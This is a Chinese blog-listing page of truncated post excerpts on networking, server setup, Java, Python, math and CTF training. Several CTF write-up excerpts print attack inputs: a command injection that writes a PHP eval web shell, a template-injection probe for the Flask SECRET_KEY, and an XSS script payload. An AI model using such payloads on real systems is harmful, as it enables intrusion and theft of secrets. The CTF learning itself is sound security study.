day web 12
12.4 组播鼠标批量执行
组播模式相比单播模式可以提高网络的效率和带宽利用率，因为组播数据包只需要发送一次，就可以被多个接收者接收，而不需要每个接收者都单独发送一份数据包。这在需要同时向多个接收者发送相同数据的场景下特别有用，如视频会议、在线教育、流媒体等。组播模式可以减少网络拥塞，降低网络延迟，并且可以减少网络中的冗余数据... ......
web: nginx + php 环境配置（ubuntu）
web: nginx + php 环境配置（ubuntu） 0、重要提示： 1、守护线程nginx和php8.1-fpm，修改配置以后需要重启(sudo systemctl restart nginx; sudo systemctl restart php8.1-fpm) 2、守护线程nginx和p ......
Oracle12c On 银河麒麟v10SP3 的安装过程
Oracle12c On 银河麒麟的安装过程 学习官网资料 下载最新版的preinstall文件 https://yum.oracle.com/repo/OracleLinux/OL8/appstream/x86_64/getPackage/oracle-database-preinstall-19 ......
CTFHUB学习第一天web的RCE
CTFHUB部分 可以参考这位大佬做的入门题目视频，过程很详细 CTF-Web入门教程：RCE_哔哩哔哩_bilibili RCE eval（命令执行） 第一题使用蚁剑根据题目提示需要cmd，连接密码写cmd,测试连接成功，好，发现打不开库，看看其它办法 $_REQUESTPHP $_POST 变量 ......
御林网络安全工作室训练营2023 DAY1-2
ENCODE 百度一下各种编码很容易找到特征的 HTTP 将网页在代理中请求拦截到重放repeater 网站后缀添加/?key1=YulinSec即以get方式发送key1=YulinSec 第二步 post参数传递key2=YulinSec 使用POST提交方法和GET类似，将GET改为POST， ......
CTFHUB学习第一天web前置技能，HTTP协议
HTTP 这篇随笔参考了很多这位大佬的文章，我写的也不如这位大佬详细，而且图片上传总是失败，建议各位看看这位大佬的文章 CTFHub题解-技能树-Web-Web前置技能-HTTP协议【请求方式、302跳转、cookie、基础认证、响应包源代码】 - 0yst3r - 博客园 (cnblogs.com ......
CNSS 2023夏令营web方向 Feedback Pre-alpha
用wapalzyer查看网页指纹,发现使用flask框架2.3.6 键入{{7*7}}，点击预览 计算了结果，表达式被执行了。 因此我们可以利用这个漏洞执行代码 抓包查看，发现参数名为text,内容是URL编码 /?text= {{config.SECRET_KEY}},URL编码%7b%7b%63 ......
CTFHUB学习第二天 web 信息泄露
目录遍历 参考博客： CTFHub技能树 Web-信息泄露 详解_bugscanteam_ErYao7的博客-CSDN博客 emmm，几个目录都点一点 PHPinfo 在phpinfo中直接查看flag，找不到就CTRL+F搜索 备份文件下载 网站源码 当开发人员在线上环境中对源代码进行了备份操作， ......
御林 DAY 5 RCE
RCE-0 https://blog.csdn.net/weixin_48799157/article/details/123800145在这里输入127.0.0.1&echo -e "<?php @eval(\$_POST['test']);?>" > 555.php创建文件555.php并输入一 ......
御林 DAY 5 绝对音感【easy】只找到了提示信息所以没什么参考价值
绝对音感 观察波形频谱没什么信息，ultraEdit打开发现文件尾部有信息，这里的思路来源于之前图片马的文件合并 Cltr+F直接找第一个Y字符 Yulinsec{} ......
御林 DAY 5 签到 10
签到 搜索一下文件名字zelda_words还真有对应字母为wloeo_hcfae_ecmtt_etgm.怎么看都不对，我一度以为我的英语水平不够。。whee_lcct_ofmg_ofmt. 竖着排列wloeohcfaeecmttetgm.难道是矩阵转置？不对啊转换16进制。。求逆矩阵不可能吧喂凯撒 ......
御林 DAY忘了 XSS 10
XSS过滤绕过速查表_xss速查表-CSDN博客 XSS-1 第一步查看链接，题目查看网页源码有hidden的东西参数不要在链接后面拼接/?a=,用?a= ?name=<script>alert(1)</script> XSS2 错误判断 页面源代码会被编码从而无法解析 尖括号被编码可以试试属性xs ......
WebService SOAP1.1 SOAP1.12 HTTP PSOT方式调用
WebService SOAP1.1 SOAP1.12 HTTP PSOT方式调用 Visual Studio 2022 新建WebService项目 创建之后，启动运行 设置默认文档即可 经过上面的创建WebService已经创建完成，添加HelloWorld3方法， [WebMethod] pu ......
java基础-构建工具mvn-day20
目录1. 初识mvn2. 用maven创建工程3. maven工程 之间的关系4. 父子 mvn工程5. mvn常见的插件6. tomcat插件 1. 初识mvn mvn是一个项目构建工具 idea里面内置ant，已经基本被maven取代 官网：https://maven.apacher.org 核 ......
day4
除此之外，还有一些与函数实现相关的知识点需要注意，例如递归函数、函数指针、函数重载等。 递归函数：递归函数即在函数内部调用自身的函数。递归函数在解决某些数学问题和数据结构问题时非常有用。但需要注意的是，递归函数需要定义好终止条件，否则会导致无限递归，消耗大量栈空间，导致程序崩溃。 函数指针：函数指针 ......
5种常用Web安全扫描工具，快来查漏补缺吧！
漏洞扫描是一种安全检测行为，更是一类重要的网络安全技术，它能够有效提高网络的安全性，而且漏洞扫描属于主动的防范措施，可以很好地避免黑客攻击行为，做到防患于未然。那么好用的漏洞扫描工具有哪些？ 答案就在本文！ 1、AWVS Acunetix Web Vulnerability Scanner（简称AW ......
Python40days
针对记录的SQL语句 配置文件的介绍 存储引擎的使用（存储的方式） 数据类型*** 整型 浮点型 字符串 日期 枚举 约束条件 zerofill unsigned not nu default unique primary key auto_increment ——————————————————— ......
动态随机存取内存W631GG6NB15I、W631GG6NB-15、W631GG6NB-12、W631GG6NB12I 1Gb DDR3 SDRAM
简介 W631GG6NB是1G位DDR3 SDRAM，组织为8，388，608字，8个存储体，16位。该器件可实现高达2133 MT/s（DDR3-2133）的高速传输速率，适用于各种应用。该设备分为以下速度等级：-09、-11、-12、-15、09I、11I、12I、15I、09J、11J、12J ......
HTTP协议与静态web服务器开发
HTTP协议与静态web服务器开发 一、HTTP协议概述 1、网址URL 网址又称为URL，URL的英文全称是uniform resource locator，即统一资源定位符，通俗理解就是网络资源地址 URL地址：https://www.itcast.com/18/1122/10/E178J2O4 ......
iOS发布证书.p12文件无密码解决办法及导出带密码的新.p12文件方法
摘要： 本文将以iOS技术博主身份，分享解决使用无密码的.p12文件发布应用时遇到的问题，并介绍如何以带密码的方式重新导出.p12文件的方法。通过本文提供的步骤，开发者可以顺利完成证书的发布流程。 引言 在iOS应用发布过程中，有时候会遇到使用无密码的.p12文件的情况。然而，在一些第三方平台上 ......
一些改动 \odoo\addons\web\static\src\webclient\user_menu\user_menu_items.js
一些改动 \odoo\addons\web\static\src\webclient\user_menu\user_menu_items.jsregistry .category("user_menuitems") // .add("documentation", documentationItem ......
Day19_统计文件字符数的四种方式_函数递归调用_递归案例j讲解_递归加判断终止
1.统计文件里有多少字符的两种方式: 2.统计文件里有多少字符的方式三: 3.统计文件里有多少字符的方式四: 4.函数递归调用: 5.递归调用案例: 6.递归加判断条件终止: 7.递归案例: 8.数据递归应用__for循环处理: 9.数据递归应用__函数递归调用处理: ......
Day19_叠加多个装饰器_生成器_三元表达式_列表、字典、集合生成式_生成器表达式
1.叠加多个装饰器运行顺序： 2.生成器的运行： 3..send()方法可以为yield传输返回值： 4..send()一个None相当于把None添加到yield后： 5..close关闭之后无法传值： 6.三元表达式： 7.列表生成式： 8.字典生成式： 9.集合生成式： 10.生成器表达式： ......
ubuntu20.04下源码编译python 3.12
需要注意的地方 1.安装依赖：https://devguide.python.org/getting-started/setup-building/#build-dependencies sudo apt-get install build-essential gdb lcov pkg-config ......
循序渐进介绍基于CommunityToolkit.Mvvm 和HandyControl的WPF应用端开发(12) -- 使用代码生成工具Database2Sharp生成WPF界面代码
在经过基于SqlSugar框架的WPF应用端系统界面及模块的不断优化和重构后，视图界面及视图模型等代码已趋稳定，因此完成前面的介绍后，现在开始统一基于代码生成工具Database2Sharp进行WPF应用端界面代码的快速生成了，代码除了和WPF应用端的基类保持一致处理外，并添加一些注释代码，整合使用... ......
数学大礼包 - Day 5
群论 群 \((G,\cdot)\)：指 满足 封闭性 (\(\forall a,b\in G,a\cdot b\in G\))、 结合律 (\(\forall a,b,c\in G,(a\cdot b)\cdot c=a\cdot (b\cdot c)\))， 唯一存在 单位元 (\(\exist ......
JavaSE day02【关键字，代码块，接口，枚举】测评
选择题 题目1(单选): 下列关于static关键字描述错误的是( ) 选项 : A. 静态成员被所类的所有对象共享 B. 可以通过对象调用 , 也可以通过类名调用 , 建议使用类名 C. 每调用一次都会在内存产生一个新的对象 D. 随着类的加载而加载 , 优先于对象存在 题目2(多 ......
JavaSE day02-关键字,接口,代码块,枚举
JavaSE day02-关键字,接口,代码块,枚举 1 关键字 2 代码块 3 接口 4 枚举 1 Java中的关键字 1.1 static关键字 static关键字 : 静态的意思 , 可以修饰变量 , 也可以修饰方法 , 被static修饰的成员 , 我们叫做静态成员 static特点 : 静 ......
数学大礼包 - Day 4, 5
同余 同余定义：\(n|a-b\Leftrightarrow a\equiv b\pmod n\). 性质： 若 \(a\equiv b\pmod n\)，则 \(a,b\) 对 \(n\) 作带余除法的余数相同。 自反性：\(a\equiv b\pmod n\Rightarrow b\equiv ......
数学大礼包 - Day 3, 4
咕咕咕 # 整除 ## 定义 1.1 - 整除 $a\mid b$ 指 $\exists n \in \mathbb{Z}$ 使得 $an=b$ 满足传递性： $a\mid b,b\mid c$ .则 $a\mid c$ 可加减性： $n\mid a,n\mid b$ .则 $n\mid a\pm ......